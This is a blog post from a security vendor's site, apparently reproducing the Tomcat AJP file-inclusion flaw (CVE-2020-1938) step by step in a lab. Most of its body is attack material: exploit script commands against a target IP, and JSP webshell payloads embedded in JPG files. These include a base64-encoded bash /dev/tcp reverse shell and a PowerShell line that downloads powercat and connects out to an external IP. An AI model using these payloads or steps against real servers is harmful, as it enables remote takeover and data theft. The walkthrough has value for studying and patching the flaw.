• 提交需求
    *
    *

    *
    *
    *
    立即提交
    点击”立即提交”,表明我理解并同意 《黄金城科技隐私条款》

    logo

      产品与服务
      解决方案
      技术支持
      合作发展
      关于黄金城

      申请试用
        Tomcat AJP文件包含getshell漏洞复现
        发布时间:2021-04-28 阅读次数: 388 次

        环境搭建


        Windows 10 x64

        Apache Tomcat8.5.50


        下载Tomcat8.5.50,解压

        https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.50/bin/




        运行startup.bat,启动tomcat,http://127.0.0.1:8080/




        Ajp是默认开启的,运行在8009端口


        漏洞详情


        漏洞介绍:


        Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的ROOT目录下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。


        受影响版本

        Apache Tomcat 6

        Apache Tomcat 7< 7.0.100

        Apache Tomcat 8< 8.5.51

        Apache Tomcat 9< 9.0.31


        不受影响版本

        Apache Tomcat =7.0.100

        Apache Tomcat =8.5.51

        Apache Tomcat =9.0.31


        漏洞复现:


        下载exp:

        https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read


        执行python2tomcat_file_read.py -p 8009 -f /WEB-INF/web.xml 192.168.99.145,可以成功读取web.xml文件


        在ROOT目录下创建一个test.txt测试文件


        python2tomcat_file_read.py -p 8009 -f test.txt 192.168.99.145


        在ROOT目录下建立一个upload文件夹,模拟存在上传功能的应用环境,且只能上传图片文件。


        创建文件dnslog.jsp、shell.jsp、1.jpg,生成需要进行文件包含的图片payload


        DNSLOG测试:


        <%

             java.io.InputStreamin = Runtime.getRuntime().exec("pingfiohed.dnslog.cn").getInputStream();

             int a = -1;

             byte`` b =new byte`2048`;

             out.print("

        ");

             while((a=in.read(b))!=-1){

                   out.println(newString(b));

             }

             out.print("

        ");

        %>

        Linux反弹shell(执行的命令需要去http://www.jackson-t.ca/runtime-exec-payloads.html转换一下):

        <%

             java.io.InputStreamin = Runtime.getRuntime().exec("bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();

             int a = -1;

             byte`` b =new byte`2048`;

             out.print("

        ");

             while((a=in.read(b))!=-1){

                   out.println(newString(b));

             }

             out.print("

        ");

        %>

        Windows反弹shell:

        <%

             java.io.InputStreamin = Runtime.getRuntime().exec("powershell IEX(New-ObjectSystem.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 121.196.124.61 -p 12583 -e cmd").getInputStream();

             int a = -1;

             byte`` b =new byte`2048`;

             out.print("

        ");

             while((a=in.read(b))!=-1){

                   out.println(newString(b));

             }

             out.print("

        ");

        %>


        合成payload图片:

        copy 1.jpg/b + dnslog.jsp/a dnslog.jpg

        copy 1.jpg/b + shell.jsp/a shell.jpg


        将dnslog.jpg、shell.jpg复制到/ROOT/upload目录下进行文件包含测试

        python2 tomcat_file_include.py -p 8009 -fupload/dnslog.jpg 192.168.99.145


        nc监听7777端口,nc -lvvp 7777


        python2 tomcat_file_include.py -p 8009 -fupload/shell.jpg 192.168.99.145

        成功反弹shell

        免费试用
        服务热线

        马上咨询

        400-811-3777

        回到顶部
        【网站地图】【sitemap】